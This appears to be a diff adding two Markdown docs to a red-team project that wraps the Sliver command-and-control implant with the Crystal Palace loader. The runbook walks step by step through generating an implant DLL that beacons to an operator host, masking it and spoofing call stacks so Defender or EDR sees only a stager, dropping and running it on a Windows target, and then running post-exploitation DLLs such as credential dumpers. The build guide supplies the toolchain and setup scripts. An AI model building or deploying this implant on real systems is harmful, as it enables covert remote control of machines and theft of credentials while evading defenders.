| Implant crashes immediately | `"file"` argument type not handled the way we assume | Switch the manifest arg to `"string"`, upload payload via `upload`, pass target-side path |
| `[crystal-loader]` output never appears | `BeaconOutput` callback not routed | Check Sliver server logs at `~/.sliver/logs/sliver.log` |
---
## Phase 2 — Use case A (implant evasion, primary)
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask.
### 2.1 Build Crystal-Kit objects
```bash
cd crystal-kit-sliver
make -C loader all
make -C postex-loader all # technically optional for Phase 2, useful for Phase 3
```
Expected: `loader/bin/` has 8 `.o` + 1 `.bin`.
### 2.2 Generate a fresh Sliver implant DLL
```
sliver > profiles new --http <kali-ip>:80 --format shared prod
sliver > profiles generate --profile prod --save /tmp/prod.dll
```
`--format shared` produces a raw DLL (not shellcode-packed) — Crystal Palace needs the DLL form.
### 2.3 Wrap with Crystal Palace
```bash
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /tmp/prod.dll \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin
```
Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
### 2.4 Bundle with the stager
```bash
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip
```
Resulting `drop.zip` (~180 KB) contains:
- `run.x64.exe` (Crystal Palace stager, BSD)
- `prod.crystal.bin` (your PICO)
- `README.txt` (operator notes)
### 2.5 Drop on the Windows VM
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute:
```cmd
C:\Users\Public> unzip drop.zip
C:\Users\Public> run.x64.exe prod.crystal.bin
```
Execution order inside `run.x64.exe`:
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
5. Installs Draugr call-stack spoof
6. Unmasks (XOR) the embedded Sliver DLL
7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)`
8. Sliver implant initializes and beacons home
On the Sliver console:
```
[*] Session 2 - WIN10-LAB ...
sliver > use 2
sliver (WIN10-LAB) > whoami
```
### 2.6 Iteration: measure detection
- Re-enable Defender / EDR before subsequent tests
- Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface
- Tweak the `.spec` (e.g. remove `mergelib libtcg.x64.zip` for a leaner build, or swap Draugr for a no-op) and rebuild
---
## Phase 3 — Use case B (post-ex evasion, secondary)
Prerequisite: an active session (from Phase 1, Phase 2, or any other vector).
### 3.1 Build a post-ex DLL
Either yours or a public one (e.g. a recon DLL, a credential dumper, a custom enumerator). Must be Windows x64 and export `DllMain`. Args may be empty or required depending on the DLL.
### 3.2 Wrap with Crystal Palace
```bash
echo "" > /tmp/empty.args # or actual args specific to your DLL
./crystal-kit-sliver/sliver-glue/generate.sh \
/path/to/postex.dll \
/tmp/empty.args \
crystal-kit-sliver/sliver-glue/build/postex.pico.bin
```
Args are baked into the PICO at link time (Xenon-style `%ARGFILE`).
### 3.3 Install the Sliver Extension (one-time)
If not already done in Phase 1:
```
sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
```
### 3.4 Execute the post-ex PICO
```
sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/postex.pico.bin
[crystal-loader] executing PICO
... (your DLL's output via BeaconPrintf)
[crystal-loader] PICO returned
```
---
## Phase 4 — Cleanup / rollback
End-of-engagement:
```
sliver > extensions remove crystal-loader
sliver > sessions kill <id>
sliver > jobs kill <id>
```
Windows VM:
```cmd
C:\> taskkill /F /IM run.x64.exe
```
Local Kali build artifacts:
```bash
make -C crystal-kit-sliver/loader clean
make -C crystal-kit-sliver/postex-loader clean
make -C crystal-kit-sliver/sliver-glue/wrapper clean
rm -rf crystal-kit-sliver/sliver-glue/build
```
---
## Quick smoke test on Kali (sanity check before going to the lab)
Run this end-to-end from a freshly cloned repo. Should complete in under 30 seconds without errors and without an actual Sliver implant DLL:
```bash
cd ~/crystal-kit-sliver
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
echo "" > /tmp/empty.args
./crystal-kit-sliver/sliver-glue/generate.sh \
external/crystalpalace/dist/demo/test.x64.dll \
/tmp/empty.args \
crystal-kit-sliver/sliver-glue/build/test-postex.pico.bin
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll \
external/crystalpalace/dist/demo/test.x64.dll \
crystal-kit-sliver/sliver-glue/build/test-implant.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
crystal-kit-sliver/sliver-glue/build/test-drop.zip
./crystal-kit-sliver/sliver-glue/pack-extension.sh
ls -la crystal-kit-sliver/sliver-glue/build/
```
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
+167
View File
@@ -0,0 +1,167 @@
# Toolchain & Build Pipeline
Build prerequisites, verified versions, and the actual pipeline used to produce PICO blobs and the Sliver Extension DLL.
> Anything marked **verified** was tested locally on macOS Apple Silicon with the listed versions. Linux equivalents (Debian/Ubuntu/Kali) should behave identically.
## 1. Required tools
| Tool | Tested version | Purpose | Install (Debian/Kali) | Install (macOS) |
|---|---|---|---|---|
| `x86_64-w64-mingw32-gcc` | MinGW-w64 GCC 15.2.0 | Cross-compile C sources to Windows x64 objects | `apt install mingw-w64` | `brew install mingw-w64` |
| `nasm` | 3.01 | Assemble `draugr.asm``draugr.x64.bin` | `apt install nasm` | `brew install nasm` |
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
## 2. External dependencies (not in the repo)
| Artifact | Source | License | How to obtain |
|---|---|---|---|
| `crystalpalace.jar` + `link` wrapper | <https://tradecraftgarden.org/download/cpdist-latest.tgz> | BSD-3-Clause, © 2025 Raphael Mudge / AFF-WG | `curl -fsSL` + `tar -xz` (see §5) |
| `libtcg.x64.zip` | Upstream Crystal-Kit repo | Upstream binary, license unstated (likely derived from QEMU TCG → LGPL/GPL) | `git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit` then copy |
| Sliver server/client | <https://sliver.sh> | GPLv3 | `curl https://sliver.sh/install \| sudo bash` |
`libtcg.x64.zip` is required at build time because `postex-loader/loader.spec` and `loader/loader.spec` both contain `mergelib "../libtcg.x64.zip"`. The file goes at the same level as `loader/` and `postex-loader/` (i.e. inside `crystal-kit-sliver/`).
## 3. Verified build pipeline
### 3a. Object compilation (per loader)
From `crystal-kit-sliver/loader/Makefile` and `crystal-kit-sliver/postex-loader/Makefile`:
```makefile
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
# loader/ only:
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
```
**Verified outputs:**
- `loader/bin/` → 8 `.o` + 1 `.bin`
- `postex-loader/bin/` → 7 `.o` + 1 `.bin` (no `mask.c`)
### 3b. Crystal Palace link (PICO production)
The upstream Aggressor Script invokes the jar via Java reflection. The bundled `link` wrapper exposes a positional CLI:
```
./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%KEY=value] [@config.spec]
```
Variables relevant for our specs:
| Variable | Type | Used in | Purpose |
|---|---|---|---|
| `%ARGFILE` | string (path) | `postex-loader/loader.spec` | File whose contents become the embedded `dll_args` section read by `DllMain` |
Example invocation:
```bash
./link \
crystal-kit-sliver/postex-loader/loader.spec \
/path/to/postex.dll \
/path/to/out.bin \
%ARGFILE=/path/to/args.txt
```
**Verified outputs (sizes from local builds):**
- Use case A (`loader/loader.spec` over a Windows DLL) → **117561 bytes** PICO
- Use case B (`postex-loader/loader.spec` over a Windows DLL) → **111741 bytes** PICO
### 3c. Sliver Extension wrapper DLL
`crystal-kit-sliver/sliver-glue/wrapper/Makefile`:
```makefile
CC_64 := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL
LDFLAGS := -shared -Wl,--subsystem,windows
# Produces ../crystal-loader.x64.dll
$(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS)
```
**Verified output:** 114051 bytes, PE32+ x86-64, exports symbol `go`.
A smoke test shellcode (`smoketest.asm`) builds in parallel:
```
nasm -f bin smoketest.asm -o ../build/smoketest.bin
# → 3 bytes: 31 c0 c3 (xor eax,eax; ret)
```
## 4. End-to-end timing on macOS Apple Silicon (reference)
| Step | Elapsed |
|---|---|
| `apt`/`brew install mingw-w64 nasm openjdk@17` | ~3 min |
| Download `cpdist-latest.tgz` (1.8 MB) | ~5 s |
| `make -C loader all` | ~2 s |
| `make -C postex-loader all` | ~2 s |
| `make -C sliver-glue/wrapper all` | ~3 s |
| `./link` Crystal Palace run | ~1 s |
| `./bundle-implant.sh` (zip) | <1 s |
## 5. One-time setup script (Kali / Debian / Ubuntu)
```bash
#!/usr/bin/env bash
set -e
# 1. Toolchain
sudo apt update
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
# 2. Crystal Palace
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. libtcg from upstream
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
rm -rf /tmp/ck
# 4. Verify
x86_64-w64-mingw32-gcc --version | head -1
nasm --version
java -version
ls -la "$CRYSTAL_PALACE_HOME/crystalpalace.jar" crystal-kit-sliver/libtcg.x64.zip
echo "Setup OK. Now: cd crystal-kit-sliver && make -C loader all && make -C postex-loader all"
```
## 6. Required environment variables
| Variable | Required for | Default behaviour |
|---|---|---|
| `CRYSTAL_PALACE_HOME` | every script under `sliver-glue/` that calls `./link` | scripts exit with error if unset |
| `SLIVER_SERVER` | `generate-implant.sh --profile` mode only | defaults to `sliver-server` in `$PATH` |
## 7. Known toolchain gotchas
- macOS rosetta vs ARM64: brew installs native ARM binaries; the cross-compiled output is `x86-64` Windows PE so this works regardless.
- MinGW-w64 ≥ 13 introduces `-fcf-protection` defaults that can break PIC. The Makefiles pass `-shared -Wno-pointer-arith`, no extra hardening flags. If your distro pins a different MinGW build, verify with `make` first.
- `./link` and friends inside the Crystal Palace dist must be executable. The tarball usually preserves the bit, but after `tar -xz` some filesystems strip exec; fix with `chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}`.
- `libtcg.x64.zip` must be located at `crystal-kit-sliver/libtcg.x64.zip` (sibling of `loader/`). The spec files reference it as `../libtcg.x64.zip`.
## 8. Compiler flags rationale
The `-Wno-pointer-arith` flag is required because Crystal-Kit's loader code performs pointer arithmetic on `void*` (a GNU extension that GCC warns about by default but does not break).
The `-shared` flag instructs the compiler to emit relocatable code suitable for being merged by Crystal Palace into a single position-independent blob. This does NOT produce a Windows DLL on its own — the actual `.o` outputs are intermediate.
`-DWIN_X64` is consumed by `loader.h` to conditionally select 64-bit-specific struct layouts and macros.